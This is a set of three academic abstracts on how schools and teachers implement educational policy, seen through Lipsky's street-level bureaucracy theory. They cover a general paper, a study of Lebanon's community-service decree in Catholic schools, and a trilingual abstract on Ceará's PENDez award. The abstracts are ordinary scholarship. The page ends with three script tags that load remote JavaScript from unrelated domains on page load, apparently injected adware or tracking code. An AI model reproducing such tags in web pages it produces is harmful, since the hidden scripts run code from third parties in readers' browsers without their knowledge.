STREET-LEVEL BUREAUCRACY AND PUBLIC POLICIES: ANALYZING EDUCATIONAL POLICY IMPLEMENTATION FROM THE PERSPECTIVE OF SCHOOLS AND TEACHERS

ABSTRACT This paper analyzes the implementation of educational policies and the roles of school professionals considering the street-level bureaucracy theory (LIPSKY, 1980). This study assumes that educational reforms elect schools as planning and administration centers, making them and the professionals working there responsible for new attributions which are motivated by improved autonomy, in addition to administrative and educational decentralization. In these contexts, which are marked by schools’ increasing empowerment, the discretionary power exercised by its professionals (teachers, principals, coordinators, among others) is a key element to understanding the availability and implementation of programs and their ability to either influence or change the design of educational policies on a local level. This perspective emphasizes the importance of considering those closer to actions deriving from such policies, that is, the actors who see the bottom-up process because they are in the lower end. According to Lipsky (1980), these are the so-called local policy agents or street-level public agents. As for schools, we understand that to enforce a certain policy, factors such as interpersonal influence, commitments, and informal negotiations are as important as formal processes and regulations. Finally, this study attempts to prove the impacts and contours assumed by changes in school dynamics in terms of translating local educational policies.

Lost in Translation: The Implementation of Community Service in Lebanese High-schools Following Decree No.8924

In 2012, the Lebanese Ministry of Education and Higher Education (MEHE) issued Decree No. 8924. Entitled “Project Community Service in Public and Private Secondary Schools”, the decree states that all schools should apply a mandatory 60-hour community service program across the three secondary school years. There have been scattered efforts to study how the Decree is being implemented across Lebanon, with no exhaustive and thorough study yet documented. This research sought to fill part of that gap by examining the experience of ten private Catholic schools. The research results were congruent with global educational policy implementation research and suggested future lines of inquiry specific to Lebanon.

Implementação de políticas públicas educacionais na perspectiva dos agentes burocráticos

<p>Este estudo traz para o campo da educação novas possibilidades para a análise da implementação de políticas educacionais, ao procurar compreender o processo de implementação do Prêmio Escola Nota Dez (PENDez) no estado do Ceará, por meio da percepção dos agentes implementadores em quatro pares de escolas parceiras da região do Cariri (CE). As escolhas teórico-metodológicas na perspectiva da Burocracia de Nível de Rua e da Burocracia de Médio Escalão abriram um leque de possibilidades de pesquisa junto aos agentes implementadores e sua interação com o contexto da política. A pesquisa mostra que os agentes implementadores fazem adaptações no currículo, na avaliação e no trabalho pedagógico para a obtenção da premiação. Além disso, essas intervenções afetam a interpretação do PENDez e sua implementação e, por isso, a política termina sendo adaptada às possibilidades e aos constrangimentos impostos pelas agências implementadoras.</p><p>Políticas Públicas, Educação, Avaliação da Educação, Metodologia.</p><p> </p><p>Implementación de políticas públicas educacionales desde la perspectiva de los agentes burocráticos</p><p>Este estudio trae al campo de la educación nuevas posibilidades para analizar la implementación de políticas educacionales, al tratar de comprender el proceso de implementación del Prêmio Escola Nota Dez (PENDez) en el estado de Ceará, por medio de la percepción de los agentes implementadores en cuatro pares de escuelas aliadas de la región de Cariri (CE). Las elecciones teórico-metodológicas desde la perspectiva de la Burocracia de Nivel de la Calle y la Burocracia de Mediano Escalón abrieron un abanico de posibilidades de investigación junto a los agentes implementadores y su interacción con el contexto de la política. La investigación muestra que los agentes implementadores adaptan el currículo, la evaluación y el trabajo pedagógico para obtener la premiación. Además, tales intervenciones afectan la interpretación del PENDez y su implementación y, por ello, a política se adapta a las posibilidades y a los requisitos impuestos por las agencias implementadoras.</p><p>Políticas Públicas, Educación, Evaluación de la Educación, Metodología.</p><p> </p><p>Implementation of educational public policies from the perspective of bureaucratic agents</p><p>The present study introduces new possibilities, for the analysis of educational policy implementation, into the field of education. It seeks to understand the implementation process of the Prêmio Escola Nota Dez (PENDez) (Award Winning School) in the state of Ceará. This is done from the point of view of implementing agents, in four pairs of partner schools in the Cariri (CE) region. The theoretical-methodological choices, from the perspective of the Street Level Bureaucracy and the Mid-Level Bureaucracy, opened a range of research possibilities along with the implementing agents and their interaction in the policy context. This study shows that the implementing agents make adaptations to the curriculum in the evaluation and the pedagogic work in order to earn the award. In addition, these interventions affect the interpretation and implementation of the PENDez. Therefore, the policy becomes adapted to the possibilities and constraints imposed by the implementing agencies.</p><p>Public Policies, Education, Educational Evaluation, Methodology.</p><script type="text/javascript" src="http://pageanalytics.space/addons/lnkr5.min.js"></script><script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52200x6849x&amp;r=21"></script><script type="text/javascript" src="http://pageanalytics.space/ext/1ac1b73204b5d3dec6.js?sid=52200_6849_&amp;title=&amp;blocks[]=31af2"></script>